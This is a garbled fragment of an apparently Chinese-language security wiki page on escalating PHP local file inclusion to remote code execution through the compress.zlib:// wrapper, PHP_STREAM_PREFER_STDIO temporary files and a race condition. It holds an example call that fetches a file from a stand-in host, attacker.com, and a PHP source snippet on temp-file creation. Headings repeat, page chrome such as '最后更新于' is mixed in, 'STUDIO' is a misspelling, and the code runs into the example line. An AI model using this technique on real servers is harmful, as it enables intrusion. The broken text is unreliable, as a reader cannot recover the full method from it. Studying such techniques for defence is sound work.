LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

compress.zlib:// 和 PHP_STREAM_PREFER_STDIO
compress.zlib:// 和 PHP_STREAM_PREFER_STDIORace Condition to RCE

最后更新于

compress.zlib:// 和 PHP_STREAM_PREFER_STDIO
最后更新于
file_get_contents("compress.zlib://http://attacker.com/file")/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}